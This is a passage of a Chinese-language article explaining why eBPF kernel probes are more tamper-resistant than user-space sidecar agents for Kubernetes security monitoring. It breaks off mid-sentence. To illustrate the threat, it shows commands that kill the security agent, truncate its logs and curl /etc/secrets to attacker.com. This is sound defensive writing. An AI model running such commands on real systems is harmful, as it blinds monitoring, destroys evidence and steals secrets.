开发者生态
morning
内核级的真相:为什么eBPF正在取代基于用户空间的Agent成为安全可观测性的首选
2026-06-22
1 阅读
作者:Niranjan Sharma
核心要点 应用层日志要依赖被监控进程本身的配合。如果进程被攻陷的话,它可以杀掉自己的watchdog、篡改日志,或者干脆不生成日志。你的安全可见性不应该建立在攻击者愿意被观察的前提上。eBPF把探针直接挂在Linux内核的系统调用接口上,因此即使攻击者已经在容器内部获得root权限,你依然能看到其行为。想要禁用eBPF探针,攻击者必须先逃逸到宿主机内核中,这要比执行kill -9难得多。把一整套基于用户空间的Agent替换为单个基于eBPF的Agent后,安全相关的CPU消耗通常可以下降60%-80%,同时由于过滤发生在内核里,而不是发生在按GB计费的SIEM里,遥测数据量也会大幅减少。上线eBPF安全能力时应分阶段推进:先观察,再告警,最后才强制执行。如果直接跳到强制执行,你可能会在凌晨3点被报警叫醒,因为某条探测规则把支付服务给杀掉了。Falco(CNCF毕业项目)和Tetragon(Cilium子项目)如今都已具备生产级别的可用性,我们不需要自己编写内核代码就能采用该技术方案。 引言 去年,我在分析一次事故复盘时,看到生产环境的Kubernetes集群中的一个容器逃逸事件竟然完全没有被发现。安全团队调出仪表盘、翻遍日志,却什么有价值的东西都没找到。后来才发现,攻击者的第一步就是先杀掉日志sidecar。此后发生的一切都彻底不可见了。 这次攻击本身并不算多高明。真正的问题在于监控体系天生存在的结构性弱点:Agent和它本该监控的对象共享同一个用户空间。容器内一旦拿到root权限,攻击者就可以对Agent执行kill -9命令,对日志文件执行truncate,然后为所欲为。通过memfd_create()加载的无文件载荷根本不会触碰文件系统;进程注入则可以伪装在受信任的PID之后。整个体系里,日志层反而成了最脆弱的目标。 这次复盘让我开始认真研究eBPF。无论进程是否恶意,它只要想打开文件、建立网络连接或派生子进程,都必须跨过系统调用这道边界。而eBPF允许你在内核内部直接对这条边界做插桩(instrument),容器层攻击者根本触碰不到它。 本文将介绍基于eBPF的安全监控背后的架构、如何在不破坏生产环境的前提下逐步落地、在大规模场景下的成本收益,以及目前最值得关注的工具。 基于用户空间的安全Agent的问题 与威胁处于同一权限层级 如今大多数Kubernetes安全监控都以sidecar容器或DaemonSet的形式运行,本质上就是与工作负载并排存在的用户空间进程内。 图1:传统的基于sidecar的安全监控。Agent与其监控的工作负载共享同一权限边界。(该图由作者原创) 这种架构有一个根本性的问题:安全Agent与攻击者处于同一层级。容器内一旦获得root权限,攻击者就可以: $ kill -9 $(pgrep security-agent) $ truncate -s 0 /var/log/agent/*.log $ curl http://attacker.com/exfil -d @/etc/secrets 由于Agent在关键行为发生前就已经被杀掉,所以根本不会触发任何告警。 CPU成本 基于用户空间的Agent还会带来真实的成本。为了检查网络流量,它们通常要把连接代理到自身之上,这意味着每个数据包都要多次跨越用户空间和内核空间的边界。再加上日志序列化、解析和传输等开销,很容易就会让集群把一大块CPU预算消耗在安全开销上。我见过一些集群,监控栈消耗的资源甚至超过了它正在保护的业务服务。 攻击者很清楚这些弱点 有能力的对手会专门针对这些缝隙下手。memfd_create()允许代码完全在内存中执行而不接触文件系统,因此文件完整性监控什么都看不到;进程注入则可以伪装在Agent早已忽略的受信任二进制之后;日志规避利用的是恶意行为与日志发送之间的时间窗口,从而删除证据。熟练的攻击者首先会摧毁监控层,而现有架构恰恰让这件事变得非常容易。 eBPF如何改变这种模式的 简要介绍 eBPF允许你在Linux内核内部运行受沙箱保护的程序,而无需编写内核模块。它最初只是一个包过滤机制(也就是“Berkeley Packet Filter”),而现代扩展版本已经演化为通用的内核插桩框架。对安全领域来说,最重要的有三点: 内置的验证器(verifier)会在加载时对每一个eBPF程序做静态分析,证明它不会导致内核崩溃、不会访问未授权的内存,也不会陷入无限循环。如果验证失败,程序根本不会运行。它没有运行时成本,也没有内核严重错误(kernel panic)的风险。eBPF程序运行在内核上下文中,能够直接访问内核的数据结构。没有用户空间/内核空间的上下文切换,也没有额外的代理开销。你可以把探针挂到成千上万的内核函数、系统调用、网络事件和跟踪点之上。 验证器值得单独介绍一下 在内核中运行自定义代码会让很多人感到紧张,对于内核模块来说,这种紧张是完全合理的。一个有缺陷的模块足以让整台机器出现严重错误。eBPF的验证器则彻底消除了这一类失败模式。它会遍历字节码所有可能的执行路径,检查终止性保证、内存边界、函数调用限制以及栈深度(上限为512字节)。所有这些都会静态完成,而且都发生在程序真正加载之前。 验证器如此严格,完全是有意为之。它会拒绝一些事实上安全、但它无法证明其安全性的复杂程序。做过eBPF的人几乎都踩过这个坑:你不得不重构完全合法的代码,只为让验证器满意。但也正是这种保守性,才使得Meta、谷歌和Netflix能够在大规模生产内核中运行eBPF。 探针挂载在何处 在安全性相关的场景中,eBPF程序会挂接在系统调用接口上,也就是每个进程执行特权操作时都必须跨越的那道边界。 图2:eBPF探针挂在系统调用接口上。每一个进程,包括攻击者的进程,都必须跨越这道边界。(该图由作者原创) 当任意进程调用connect()、execve()或open()时,探针就会捕获系统调用参数、进程/线程ID、容器ID、Kubernetes Pod元数据、用户ID、capabilities以及父进程链。由于探针运行在内核上下文中,攻击者即便在容器内获得root权限,也必须先逃逸到宿主机内核,才有机会篡改它。与直接杀掉一个用户空间的进程相比,这完全是另一类问题。 成本收益 根据已经将多个用户空间Agent安全栈替换为单个基于eBPF Agent的组织的报告,它们的 安全工作负载CPU消耗降低了60%-80% "。 图3:用户空间安全Agent与eBPF内核级监控的开销对比。(该图由作者原创) 这背后还有一笔数据量的账。用户空间Agent会把每一行日志、每一个连接事件、每一次文件访问全都发到中心平台,而其中绝大多数内容会在摄取后被直接丢弃。使用eBPF后,过滤发生在内核中,因此只有真正重要的事件才会离开节点。SIEM摄取成本的下降幅度会随工作负载不同而不同,但对大多数场景来说都相当可观。 内核兼容性 对生产安全最关键的能力,分别在4.15到5.7之间的多个内核版本中落地: 大多数生产级Kubernetes发行版都已经标配5.4以上的内核,因此内核的支持很少会成为真正的障碍。当然,你还是应该检查自己节点的具体情况,但在较新